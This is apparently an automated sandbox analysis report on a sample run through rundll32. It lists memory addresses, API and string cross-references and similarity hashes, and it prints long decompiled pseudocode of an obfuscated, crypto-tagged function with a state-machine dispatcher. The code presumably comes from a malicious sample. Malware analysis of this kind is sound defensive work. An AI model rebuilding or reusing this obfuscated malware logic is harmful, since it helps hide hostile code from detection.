0x6e9fed53
0x6e9fed4b
0x6e9fed36
0x6e9fed0c
0x6e9fe7fb
0x6e9fe806
0x6e9fe80c
0x6e9fe80e
0x6e9fefcb
0x6e9fefe4
0x6e9ff055
0x6e9ff055
0x6e9ff057
0x6e9ff060
0x6e9ff07c
0x6e9fe814
0x6e9fe814
0x6e9fe816
0x00000000
0x6e9fe816
0x6e9fe80e
0x6e9fe7f9
0x6e9fe79f
0x6e9fe7a3
0x6e9feef2
0x6e9feef2
0x6e9feef6
0x6e9feefb
0x6e9feefe
0x6e9fef03
0x6e9fef09
0x6e9fef13
0x6e9fef1d
0x6e9fef27
0x6e9fef43
0x6e9fef45
0x6e9fef46
0x6e9fef52
0x6e9fef54
0x6e9fef57
0x6e9fef57
0x6e9fef57
0x6e9fef57
0x6e9feefe
0x6e9fef63
0x6e9fef65
0x6e9fef68
0x6e9fef6b
0x6e9fef6b
0x6e9fef6b
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fe7a3
0x6e9fe7a9
0x6e9fe7a9
0x6e9fe7a9
0x6e9fef6e
0x6e9fef74
0x6e9fef82
0x6e9fef82

APIs

GetProcAddress.KERNEL32(SymFromAddrW), ref: 6E9FE806
GetCurrentProcess.KERNEL32 ref: 6E9FE81B

Strings

SymGetLineFromAddrW64, xrefs: 6E9FED38
SymFromInlineContextW, xrefs: 6E9FEA8E
SymGetLineFromInlineContextW, xrefs: 6E9FEDE1
SymFromAddrW, xrefs: 6E9FE7FB
called `Option::unwrap()` on a `None` value, xrefs: 6E9FEFD5, 6E9FEFF8, 6E9FF01B, 6E9FF03E

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AddressCurrentProcProcess
String ID: SymFromAddrW$SymFromInlineContextW$SymGetLineFromAddrW64$SymGetLineFromInlineContextW$called `Option::unwrap()` on a `None` value
API String ID: 3217270580-808744031
Opcode ID: 6833f9765ff6ba28516a879cb03b8869ad3ed5e045370f71461864eaf5b0dfe6
Instruction ID: b412f9aeba08f33dd7d6611f491ae510b934f3ef1bf19aa23f567c3a514bee73
Opcode Fuzzy Hash: 6833f9765ff6ba28516a879cb03b8869ad3ed5e045370f71461864eaf5b0dfe6
Instruction Fuzzy Hash: 664257B0904B40CFE725CF69C490BE2B7F5BF98324F10492ED59A8BA50E775A486CF91

Uniqueness

Uniqueness Score: -1.00%

Function 029DF561, Relevance: 21.9, Strings: 17, Instructions: 663
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E029DF561(intOrPtr __ecx) {
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				char _v80;
				char _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				unsigned int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				void* _t761;
				void* _t763;
				void* _t772;
				void* _t780;
				intOrPtr _t792;
				void* _t795;
				signed int _t797;
				void* _t808;
				signed int _t814;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t818;
				signed int _t819;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t824;
				signed int _t825;
				signed int _t826;
				signed int _t827;
				signed int _t828;
				void* _t829;
				void* _t832;
				void* _t889;
				void* _t913;
				void* _t916;
				intOrPtr _t917;
				void* _t921;
				signed int* _t923;
				void* _t925;

				_t923 =  &_v392;
				_v200 = 0x89ca81;
				_v200 = _v200 * 0x5d;
				_t921 = 0;
				_v200 = _v200 ^ 0xaf9dd6ae;
				_t808 = 0xf774147;
				_v200 = _v200 ^ 0xd0d10238;
				_v340 = 0x7031b3;
				_v340 = _v340 << 9;
				_v340 = _v340 + 0xdab9;
				_v76 = __ecx;
				_t814 = 0x5e;
				_v340 = _v340 / _t814;
				_v340 = _v340 ^ 0x02631bed;
				_v344 = 0x913049;
				_v344 = _v344 >> 6;
				_v344 = _v344 + 0xffffeb40;
				_v344 = _v344 >> 9;
				_v344 = _v344 ^ 0x00000118;
				_v208 = 0xd820b3;
				_t815 = 0x11;
				_v208 = _v208 * 0x75;
				_v208 = _v208 / _t815;
				_v208 = _v208 ^ 0x05cf77a2;
				_v264 = 0x2d7b5a;
				_v264 = _v264 >> 3;
				_t816 = 0x60;
				_v264 = _v264 / _t816;
				_v264 = _v264 ^ 0x00000f29;
				_v228 = 0x9ea28;
				_v228 = _v228 >> 4;
				_v228 = _v228 << 3;
				_v228 = _v228 ^ 0x0004f510;
				_v212 = 0xfc5601;
				_t817 = 0x65;
				_v212 = _v212 * 0x23;
				_v212 = _v212 ^ 0x83bd7763;
				_v212 = _v212 ^ 0xa1c2b540;
				_v216 = 0xc9f780;
				_v216 = _v216 >> 0xd;
				_v216 = _v216 << 0xa;
				_v216 = _v216 ^ 0x00193c00;
				_v100 = 0xa15ef3;
				_v100 = _v100 + 0xcfb3;
				_v100 = _v100 ^ 0x00a22ea6;
				_v128 = 0x732cc;
				_v128 = _v128 ^ 0x331cc4bd;
				_v128 = _v128 ^ 0x331bf671;
				_v260 = 0x567154;
				_v260 = _v260 + 0x98f2;
				_v260 = _v260 | 0x07205bc1;
				_v260 = _v260 ^ 0x07775bc7;
				_v296 = 0xb824e0;
				_v296 = _v296 ^ 0x4344e171;
				_v296 = _v296 << 5;
				_v296 = _v296 << 9;
				_v296 = _v296 ^ 0x31644000;
				_v392 = 0xb375bd;
				_v392 = _v392 / _t817;
				_v392 = _v392 + 0x740b;
				_v392 = _v392 ^ 0x46953f20;
				_v392 = _v392 ^ 0x469705e9;
				_v380 = 0x6f0fc1;
				_v380 = _v380 + 0x682a;
				_v380 = _v380 << 0x10;
				_t818 = 0x35;
				_v380 = _v380 / _t818;
				_v380 = _v380 ^ 0x02448a90;
				_v232 = 0xb7f463;
				_v232 = _v232 >> 2;
				_t819 = 0x16;
				_v232 = _v232 / _t819;
				_v232 = _v232 ^ 0x000b0aa6;
				_v184 = 0x1e2afb;
				_v184 = _v184 << 1;
				_v184 = _v184 ^ 0x0039344d;
				_v272 = 0xd60a24;
				_v272 = _v272 >> 0x10;
				_v272 = _v272 << 8;
				_v272 = _v272 ^ 0x0007d834;
				_v88 = 0xccda6;
				_v88 = _v88 | 0xd009f965;
				_v88 = _v88 ^ 0xd00eb16a;
				_v160 = 0x116f8;
				_v160 = _v160 << 1;
				_v160 = _v160 ^ 0x00010446;
				_v332 = 0xe14840;
				_v332 = _v332 + 0xe9af;
				_v332 = _v332 << 5;
				_t820 = 0x52;
				_v332 = _v332 * 5;
				_v332 = _v332 ^ 0x8d5f04ba;
				_v112 = 0x9b5594;
				_v112 = _v112 + 0x8c2;
				_v112 = _v112 ^ 0x009353c4;
				_v152 = 0xaad272;
				_v152 = _v152 + 0xa340;
				_v152 = _v152 ^ 0x00a74a81;
				_v224 = 0xfde353;
				_v224 = _v224 >> 0xd;
				_v224 = _v224 * 0x71;
				_v224 = _v224 ^ 0x0000f406;
				_v372 = 0x10fd3f;
				_v372 = _v372 / _t820;
				_v372 = _v372 * 0x26;
				_v372 = _v372 ^ 0x900c513e;
				_v372 = _v372 ^ 0x9009d373;
				_v192 = 0x9bc28f;
				_v192 = _v192 ^ 0x8daa98a9;
				_v192 = _v192 >> 2;
				_v192 = _v192 ^ 0x234acdcf;
				_v256 = 0x6a542c;
				_v256 = _v256 << 6;
				_v256 = _v256 + 0xcf70;
				_v256 = _v256 ^ 0x1a90167c;
				_v308 = 0xb0ac3a;
				_v308 = _v308 + 0xffff0ba4;
				_v308 = _v308 >> 7;
				_v308 = _v308 ^ 0x7a292cfc;
				_v308 = _v308 ^ 0x7a298d34;
				_v352 = 0x7fa15;
				_v352 = _v352 << 8;
				_v352 = _v352 + 0x42c8;
				_v352 = _v352 ^ 0x420546d7;
				_v352 = _v352 ^ 0x45f279ac;
				_v172 = 0x3c10dc;
				_v172 = _v172 + 0x934c;
				_v172 = _v172 ^ 0x003c5902;
				_v252 = 0x8e9148;
				_t821 = 0x3d;
				_v252 = _v252 * 0x15;
				_v252 = _v252 >> 8;
				_v252 = _v252 ^ 0x0000fb60;
				_v164 = 0x57b7bf;
				_v164 = _v164 * 0x65;
				_v164 = _v164 ^ 0x2299a995;
				_v336 = 0xdc0eaf;
				_v336 = _v336 << 3;
				_v336 = _v336 + 0xdead;
				_v336 = _v336 + 0x5890;
				_v336 = _v336 ^ 0x06efbc16;
				_v148 = 0x5f891c;
				_v148 = _v148 + 0xe952;
				_v148 = _v148 ^ 0x00699f2d;
				_v156 = 0xb9bdf1;
				_v156 = _v156 * 0x30;
				_v156 = _v156 ^ 0x22d92b94;
				_v328 = 0xdd275a;
				_v328 = _v328 ^ 0xf9c8fd87;
				_v328 = _v328 | 0xb4ffffed;
				_v328 = _v328 ^ 0xfdf2704c;
				_v220 = 0xdc69da;
				_v220 = _v220 / _t821;
				_v220 = _v220 ^ 0xf70c1774;
				_v220 = _v220 ^ 0xf706e836;
				_v236 = 0xe3f700;
				_v236 = _v236 << 6;
				_v236 = _v236 | 0x5d8b8659;
				_v236 = _v236 ^ 0x7dfec952;
				_v132 = 0xe887ef;
				_t822 = 7;
				_v132 = _v132 / _t822;
				_v132 = _v132 ^ 0x0024c858;
				_v140 = 0xc58056;
				_v140 = _v140 >> 5;
				_v140 = _v140 ^ 0x0004a47e;
				_v244 = 0x7835a9;
				_v244 = _v244 >> 5;
				_v244 = _v244 + 0xffff434e;
				_v244 = _v244 ^ 0x000b19d5;
				_v124 = 0x628bac;
				_v124 = _v124 >> 0x10;
				_v124 = _v124 ^ 0x000d99ba;
				_v196 = 0x3c4d43;
				_v196 = _v196 << 0xe;
				_v196 = _v196 ^ 0x3d5f35f5;
				_v196 = _v196 ^ 0x2e03dce1;
				_v204 = 0x3d8ce2;
				_v204 = _v204 + 0x9c91;
				_v204 = _v204 ^ 0x7a1df218;
				_v204 = _v204 ^ 0x7a210bc9;
				_v188 = 0x2b0ddf;
				_v188 = _v188 >> 0xe;
				_v188 = _v188 >> 0xf;
				_v188 = _v188 ^ 0x00037781;
				_v312 = 0x266488;
				_t823 = 0x3c;
				_v312 = _v312 / _t823;
				_v312 = _v312 >> 2;
				_v312 = _v312 + 0xffff0572;
				_v312 = _v312 ^ 0xffff9b33;
				_v320 = 0xbcf7b8;
				_t824 = 0x39;
				_v320 = _v320 * 0x6b;
				_v320 = _v320 * 0x26;
				_v320 = _v320 / _t824;
				_v320 = _v320 ^ 0x034e55e7;
				_v364 = 0xfcda34;
				_v364 = _v364 + 0xdb03;
				_v364 = _v364 >> 6;
				_v364 = _v364 + 0xabad;
				_v364 = _v364 ^ 0x000f61ab;
				_v92 = 0x2a2b0e;
				_v92 = _v92 + 0x4979;
				_v92 = _v92 ^ 0x0021c920;
				_v144 = 0xa1e216;
				_v144 = _v144 + 0xffff5ff5;
				_v144 = _v144 ^ 0x00ad0a84;
				_v356 = 0xcae231;
				_v356 = _v356 >> 0xc;
				_v356 = _v356 | 0xfd8e10ca;
				_t825 = 0x72;
				_v356 = _v356 * 0x5c;
				_v356 = _v356 ^ 0x1f1c568f;
				_v324 = 0x253eae;
				_v324 = _v324 >> 2;
				_v324 = _v324 | 0xf8fd8aec;
				_v324 = _v324 + 0x754e;
				_v324 = _v324 ^ 0xf8f18caa;
				_v240 = 0xb94b94;
				_v240 = _v240 + 0xffff03b1;
				_v240 = _v240 + 0xc1ea;
				_v240 = _v240 ^ 0x00b636b6;
				_v248 = 0x665da;
				_v248 = _v248 / _t825;
				_v248 = _v248 ^ 0xe7146895;
				_v248 = _v248 ^ 0xe71d8416;
				_v136 = 0xf03201;
				_v136 = _v136 | 0x16662734;
				_v136 = _v136 ^ 0x16f8276c;
				_v348 = 0xf58dc;
				_v348 = _v348 | 0xcefb25f5;
				_v348 = _v348 ^ 0xb79d248d;
				_v348 = _v348 * 5;
				_v348 = _v348 ^ 0x5ee99df0;
				_v292 = 0x1bda;
				_v292 = _v292 ^ 0xf0c300cc;
				_v292 = _v292 | 0x62eaa242;
				_v292 = _v292 ^ 0x0fb5f6bf;
				_v292 = _v292 ^ 0xfd545b0a;
				_v388 = 0x7e987;
				_v388 = _v388 | 0xe51d24f3;
				_v388 = _v388 << 1;
				_v388 = _v388 | 0xd459dc12;
				_v388 = _v388 ^ 0xde72c5d1;
				_v168 = 0x6f1542;
				_v168 = _v168 >> 0xb;
				_v168 = _v168 ^ 0x00095e82;
				_v316 = 0xeb0c05;
				_v316 = _v316 * 0x34;
				_v316 = _v316 ^ 0x9a011e6d;
				_v316 = _v316 + 0xffffdd41;
				_v316 = _v316 ^ 0xb5bd4b4c;
				_v108 = 0x4384da;
				_v108 = _v108 << 7;
				_v108 = _v108 ^ 0x21ca9036;
				_v376 = 0x26f029;
				_v376 = _v376 | 0x5c3fc44f;
				_v376 = _v376 * 0x5e;
				_v376 = _v376 << 0xa;
				_v376 = _v376 ^ 0xef0e7155;
				_v120 = 0xfb00c8;
				_t826 = 0x70;
				_v120 = _v120 / _t826;
				_v120 = _v120 ^ 0x0007bcc6;
				_v104 = 0x83a54a;
				_v104 = _v104 + 0xffff432b;
				_v104 = _v104 ^ 0x008e71dd;
				_v384 = 0x2ff4f3;
				_v384 = _v384 | 0xd0f2a060;
				_v384 = _v384 << 0xc;
				_t827 = 0x63;
				_v384 = _v384 * 0x15;
				_v384 = _v384 ^ 0xf17b8b1a;
				_v284 = 0x7bc7d6;
				_v284 = _v284 | 0xfb469b5d;
				_v284 = _v284 >> 0x10;
				_v284 = _v284 ^ 0x000029d1;
				_v276 = 0xc7b492;
				_v276 = _v276 ^ 0xda7fe355;
				_v276 = _v276 ^ 0xf789276a;
				_v276 = _v276 ^ 0x2d34b316;
				_v280 = 0xc4b066;
				_v280 = _v280 + 0x2d4a;
				_v280 = _v280 ^ 0x79b35fac;
				_v280 = _v280 ^ 0x79759ff7;
				_v360 = 0x6bdb51;
				_v360 = _v360 << 4;
				_v360 = _v360 >> 7;
				_v360 = _v360 / _t827;
				_v360 = _v360 ^ 0x0009f0c5;
				_v180 = 0xdedf2a;
				_t828 = 0x4a;
				_v180 = _v180 * 0x51;
				_v180 = _v180 ^ 0x46824d47;
				_v368 = 0xc3e69e;
				_v368 = _v368 + 0xffff984d;
				_v368 = _v368 * 0x6d;
				_v368 = _v368 * 0x79;
				_v368 = _v368 ^ 0x57d87162;
				_v300 = 0x54bd4a;
				_v300 = _v300 | 0xb63244a0;
				_v300 = _v300 + 0x417e;
				_v300 = _v300 | 0x63a11be6;
				_v300 = _v300 ^ 0xf7f931f3;
				_v268 = 0xbea848;
				_v268 = _v268 >> 9;
				_v268 = _v268 | 0x5eb62668;
				_v268 = _v268 ^ 0x5eb9ee94;
				_v96 = 0x440258;
				_v96 = _v96 >> 0x10;
				_v96 = _v96 ^ 0x0009723b;
				_v176 = 0x3b19f4;
				_v176 = _v176 / _t828;
				_v176 = _v176 ^ 0x0001c2c1;
				_v116 = 0x144365;
				_v116 = _v116 | 0x65ecb7a2;
				_v116 = _v116 ^ 0x65f0ee99;
				_v288 = 0xea5434;
				_v288 = _v288 >> 1;
				_v288 = _v288 | 0xb6140203;
				_v288 = _v288 >> 9;
				_v288 = _v288 ^ 0x0050b8a2;
				_v304 = 0x566331;
				_t916 = 0x8e3f5ae;
				_v304 = _v304 >> 4;
				_t913 = 0xf1618c3;
				_v304 = _v304 >> 9;
				_v304 = _v304 >> 5;
				_v304 = _v304 ^ 0x000acbce;
				_v72 = 0x20;
				while(1) {
					L1:
					_t829 = 0xfce4db5;
					_t761 = 0x8c7d07e;
					_t889 = 0x74c5c61;
					do {
						while(1) {
							L2:
							_t925 = _t808 - _t916;
							if(_t925 <= 0) {
								break;
							}
							__eflags = _t808 - _t913;
							if(_t808 == _t913) {
								E029C2CF9(_v116, _v288, _v296, _v304, _v84);
								_t923 =  &(_t923[3]);
								_t808 = 0x3abff5b;
								goto L24;
							} else {
								__eflags = _t808 - 0xf774147;
								if(__eflags == 0) {
									_t808 = 0x77e61bb;
									continue;
								} else {
									__eflags = _t808 - _t829;
									if(__eflags == 0) {
										_push(0x29c1648);
										_t917 = E029E0AD3(_v352, _v172, __eflags);
										 *_t923 = 0x29c1678;
										_t795 = E029E0AD3(_v252, _v164, __eflags);
										_v64 = _v344;
										_t797 = E029CF14F(_v336, _t917, _v148, _v156);
										_v56 = _v56 & 0x00000000;
										_v60 = _t917;
										_v52 = 1;
										_v68 = 2 + _t797 * 2;
										_v48 =  &_v68;
										_v80 = _v72;
										__eflags = E029C386E(_v328,  &_v80, _v220, _v228, _v236,  &_v32, _v132,  &_v56, _v76, _v140, _v244, _v72, _t795) - _v212;
										_t808 =  ==  ? 0x74c5c61 : 0xf1618c3;
										E029D2EED(_v124, _v196, _v204, _t917);
										_t923 =  &(_t923[0x10]);
										E029D2EED(_v188, _v312, _v320, _t795);
										L11:
										_t913 = 0xf1618c3;
										L12:
										_t916 = 0x8e3f5ae;
										L24:
										_t761 = 0x8c7d07e;
										_t829 = 0xfce4db5;
										_t889 = 0x74c5c61;
									}
								}
							}
							goto L25;
						}
						if(_t925 == 0) {
							_t763 = E029E0AD3(_v316, _v108, __eflags);
							_t832 = 0x29c1708;
							_t918 = _t763;
							_v44 = _v200;
							_v40 = _v340;
							_v36 = _v392;
							_t772 = E029DC50B(_v376, _v84,  *((intOrPtr*)( *0x29e5be0 + 0xc)), _t832, _v120, _v104,  *0x29e5be0 + 0x70, _t832, _v128,  &_v44,  *((intOrPtr*)( *0x29e5be0 + 8)), _v384, _t763, _v284, _v276, _v280);
							_t923 =  &(_t923[0xe]);
							__eflags = _t772 - _v260;
							if(_t772 != _v260) {
								_t808 = 0x88fbe98;
							} else {
								_t808 = _t913;
								_t921 = 1;
							}
							E029D2EED(_v360, _v180, _v368, _t918);
							goto L12;
						} else {
							if(_t808 == _t889) {
								_push(0x29c1618);
								__eflags = E029C5894(_v144,  *0x29e5be0 + 0xc, _v356,  &_v80, _v324, _v240, E029E0AD3(_v364, _v92, __eflags), _v216, _v248, _v84) - _v100;
								_t808 =  ==  ? 0x8c7d07e : _t913;
								E029D2EED(_v136, _v348, _v292, _t774);
								_t923 =  &(_t923[0xb]);
								goto L12;
							} else {
								if(_t808 == 0x77e61bb) {
									_push(0x29c1738);
									_t780 = E029E0AD3(_v380, _v232, __eflags);
									 *_t923 = 0x29c15c8;
									__eflags = E029C92DD(_t780, _v208, _v88,  &_v84, E029E0AD3(_v184, _v272, __eflags), _v160, _v332, _v112) - _v264;
									_t808 =  ==  ? 0xfce4db5 : 0x3abff5b;
									E029D2EED(_v152, _v224, _v372, _t780);
									E029D2EED(_v192, _v256, _v308, _t781);
									_t923 =  &(_t923[0xb]);
									goto L11;
								} else {
									if(_t808 == 0x88fbe98) {
										E029CF699(_v300,  *((intOrPtr*)( *0x29e5be0 + 8)), _v268, _v96, _v176);
										_t923 =  &(_t923[3]);
										_t808 = _t913;
										goto L1;
									} else {
										if(_t808 == _t761) {
											_push(_t829);
											_t792 = E029D6F53( *((intOrPtr*)( *0x29e5be0 + 0xc)));
											_t808 =  !=  ? _t916 : _t913;
											 *((intOrPtr*)( *0x29e5be0 + 8)) = _t792;
											while(1) {
												L1:
												_t829 = 0xfce4db5;
												_t761 = 0x8c7d07e;
												_t889 = 0x74c5c61;
												goto L2;
											}
										}
									}
								}
							}
						}
						L25:
						__eflags = _t808 - 0x3abff5b;
					} while (__eflags != 0);
					return _t921;
				}
			}

0x029df561
0x029df567
0x029df580
0x029df587
0x029df589
0x029df594
0x029df599
0x029df5a4
0x029df5ac
0x029df5b1
0x029df5bf
0x029df5c6
0x029df5cb
0x029df5d1
0x029df5d9
0x029df5e1
0x029df5e6
0x029df5ee
0x029df5f3
0x029df5fb
0x029df60e
0x029df611
0x029df623
0x029df62a
0x029df635
0x029df640
0x029df64f
0x029df654
0x029df65d
0x029df668
0x029df673
0x029df67b
0x029df683
0x029df68e
0x029df6a1
0x029df6a2
0x029df6a9
0x029df6b4
0x029df6bf
0x029df6ca
0x029df6d2
0x029df6da
0x029df6e5
0x029df6f0
0x029df6fb
0x029df706
0x029df711
0x029df71c
0x029df727
0x029df732
0x029df73d
0x029df748
0x029df753
0x029df75b
0x029df763
0x029df768
0x029df76d
0x029df775
0x029df783
0x029df787
0x029df791
0x029df799
0x029df7a1
0x029df7a9
0x029df7b1
0x029df7bc
0x029df7c1
0x029df7c7
0x029df7cf
0x029df7da
0x029df7e9
0x029df7ee
0x029df7f7
0x029df802
0x029df80d
0x029df814
0x029df81f
0x029df82a
0x029df832
0x029df83a
0x029df845
0x029df850
0x029df85b
0x029df866
0x029df871
0x029df878
0x029df883
0x029df88b
0x029df893
0x029df89d
0x029df89e
0x029df8a2
0x029df8aa
0x029df8b5
0x029df8c0
0x029df8cb
0x029df8d6
0x029df8e1
0x029df8ec
0x029df8f7
0x029df907
0x029df90e
0x029df919
0x029df927
0x029df930
0x029df934
0x029df93c
0x029df944
0x029df94f
0x029df95a
0x029df962
0x029df96d
0x029df978
0x029df980
0x029df98b
0x029df996
0x029df99e
0x029df9a6
0x029df9ab
0x029df9b3
0x029df9bb
0x029df9c3
0x029df9c8
0x029df9d0
0x029df9d8
0x029df9e0
0x029df9ed
0x029df9f8
0x029dfa03
0x029dfa18
0x029dfa1b
0x029dfa22
0x029dfa2a
0x029dfa35
0x029dfa48
0x029dfa4f
0x029dfa5a
0x029dfa62
0x029dfa67
0x029dfa6f
0x029dfa77
0x029dfa7f
0x029dfa8a
0x029dfa95
0x029dfaa0
0x029dfab3
0x029dfaba
0x029dfac5
0x029dfacd
0x029dfad5
0x029dfadd
0x029dfae5
0x029dfafb
0x029dfb02
0x029dfb0d
0x029dfb18
0x029dfb23
0x029dfb2b
0x029dfb36
0x029dfb41
0x029dfb53
0x029dfb58
0x029dfb61
0x029dfb6c
0x029dfb77
0x029dfb7f
0x029dfb8a
0x029dfb95
0x029dfb9d
0x029dfba8
0x029dfbb3
0x029dfbbe
0x029dfbc6
0x029dfbd1
0x029dfbdc
0x029dfbe4
0x029dfbef
0x029dfbfa
0x029dfc05
0x029dfc10
0x029dfc1b
0x029dfc26
0x029dfc31
0x029dfc39
0x029dfc41
0x029dfc4c
0x029dfc58
0x029dfc5b
0x029dfc5f
0x029dfc64
0x029dfc6c
0x029dfc74
0x029dfc85
0x029dfc88
0x029dfc91
0x029dfc9d
0x029dfca1
0x029dfca9
0x029dfcb1
0x029dfcb9
0x029dfcbe
0x029dfcc6
0x029dfcce
0x029dfcd9
0x029dfce4
0x029dfcef
0x029dfcfa
0x029dfd05
0x029dfd10
0x029dfd18
0x029dfd1d
0x029dfd2a
0x029dfd2b
0x029dfd2f
0x029dfd37
0x029dfd3f
0x029dfd44
0x029dfd4c
0x029dfd54
0x029dfd5c
0x029dfd67
0x029dfd72
0x029dfd7d
0x029dfd88
0x029dfd9c
0x029dfda3
0x029dfdae
0x029dfdb9
0x029dfdc4
0x029dfdcf
0x029dfdda
0x029dfde2
0x029dfdea
0x029dfdf7
0x029dfdfb
0x029dfe03
0x029dfe0b
0x029dfe13
0x029dfe1b
0x029dfe23
0x029dfe2b
0x029dfe33
0x029dfe3b
0x029dfe3f
0x029dfe47
0x029dfe4f
0x029dfe5a
0x029dfe62
0x029dfe6d
0x029dfe7a
0x029dfe7e
0x029dfe86
0x029dfe8e
0x029dfe96
0x029dfea1
0x029dfea9
0x029dfeb4
0x029dfebc
0x029dfec9
0x029dfecf
0x029dfed4
0x029dfedc
0x029dfef0
0x029dfef5
0x029dfefe
0x029dff09
0x029dff14
0x029dff1f
0x029dff2a
0x029dff32
0x029dff3a
0x029dff44
0x029dff47
0x029dff4b
0x029dff53
0x029dff5e
0x029dff69
0x029dff71
0x029dff7c
0x029dff87
0x029dff92
0x029dff9d
0x029dffa8
0x029dffb3
0x029dffbe
0x029dffc9
0x029dffd4
0x029dffdc
0x029dffe1
0x029dffee
0x029dfff2
0x029dfffa
0x029e000d
0x029e000e
0x029e0015
0x029e0020
0x029e0028
0x029e0035
0x029e003e
0x029e0042
0x029e004a
0x029e0052
0x029e005a
0x029e0062
0x029e006a
0x029e0072
0x029e007d
0x029e0085
0x029e0090
0x029e009b
0x029e00a6
0x029e00ae
0x029e00b9
0x029e00cd
0x029e00d4
0x029e00df
0x029e00ea
0x029e00f5
0x029e0100
0x029e0108
0x029e010c
0x029e0114
0x029e0119
0x029e0121
0x029e0129
0x029e012e
0x029e0133
0x029e0138
0x029e013d
0x029e0142
0x029e014a
0x029e0155
0x029e0155
0x029e0155
0x029e015a
0x029e015f
0x029e0164
0x029e0164
0x029e0164
0x029e0164
0x029e0166
0x00000000
0x00000000
0x029e0411
0x029e0413
0x029e0597
0x029e059c
0x029e059f
0x00000000
0x029e0419
0x029e0419
0x029e041f
0x029e0570
0x00000000
0x029e0425
0x029e0425
0x029e0427
0x029e0438
0x029e0449
0x029e0452
0x029e0459
0x029e046d
0x029e047f
0x029e0485
0x029e0494
0x029e04a2
0x029e04ad
0x029e04bb
0x029e04d1
0x029e052c
0x029e0549
0x029e054c
0x029e0551
0x029e0564
0x029e02a2
0x029e02a2
0x029e02a7
0x029e02a7
0x029e05a4
0x029e05a4
0x029e05a9
0x029e05ae
0x029e05ae
0x029e0427
0x029e041f
0x00000000
0x029e0413
0x029e016c
0x029e034f
0x029e0354
0x029e0355
0x029e035e
0x029e0369
0x029e037b
0x029e03d8
0x029e03dd
0x029e03e0
0x029e03e7
0x029e03f0
0x029e03e9
0x029e03eb
0x029e03ed
0x029e03ed
0x029e0405
0x00000000
0x029e0172
0x029e0174
0x029e02bc
0x029e0315
0x029e032f
0x029e0332
0x029e0337
0x00000000
0x029e017a
0x029e0180
0x029e01fc
0x029e0201
0x029e0216
0x029e0262
0x029e027c
0x029e027f
0x029e029a
0x029e029f
0x00000000
0x029e0182
0x029e0188
0x029e01e2
0x029e01e7
0x029e01ea
0x00000000
0x029e018a
0x029e018c
0x029e01a3
0x029e01a7
0x029e01b8
0x029e01bb
0x029e0155
0x029e0155
0x029e0155
0x029e015a
0x029e015f
0x00000000
0x029e015f
0x029e0155
0x029e018c
0x029e0188
0x029e0180
0x029e0174
0x029e05b3
0x029e05b3
0x029e05b3
0x029e05cb
0x029e05cb

Strings

1cV, xrefs: 029E0121
*h, xrefs: 029DF7A9
TqV, xrefs: 029DF727
4T, xrefs: 029E0100
(, xrefs: 029DF668
~A, xrefs: 029E005A
R, xrefs: 029DFA8A
CM<, xrefs: 029DFBD1
@H, xrefs: 029DF883
,Tj, xrefs: 029DF96D
, xrefs: 029E014A
J-, xrefs: 029DFFB3
M49, xrefs: 029DF814
;r, xrefs: 029E00AE
yI, xrefs: 029DFCD9
qDC, xrefs: 029DF75B
Nu, xrefs: 029DFD4C

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: $($*h$,Tj$1cV$4T$;r$@H$CM<$J-$M49$Nu$R$TqV$qDC$yI$~A
API String ID: 0-1702946932
Opcode ID: 94361fefc7492a7990d6a64fdfac2eb94ce3c272f9e00b508dcaf97315953931
Instruction ID: 9b097374e1dd4c049feafec830b02ac1581bbd199267b22479c129e094577c51
Opcode Fuzzy Hash: 94361fefc7492a7990d6a64fdfac2eb94ce3c272f9e00b508dcaf97315953931
Instruction Fuzzy Hash: 2B82F0715093808FD7B9CF61C58AB8BBBE1BBC4708F10891DE1DA96260DBB59949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 029CC69B, Relevance: 20.7, Strings: 16, Instructions: 715
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E029CC69B(intOrPtr* __ecx) {
				char _v68;
				char _v76;
				void* _v88;
				intOrPtr _v92;
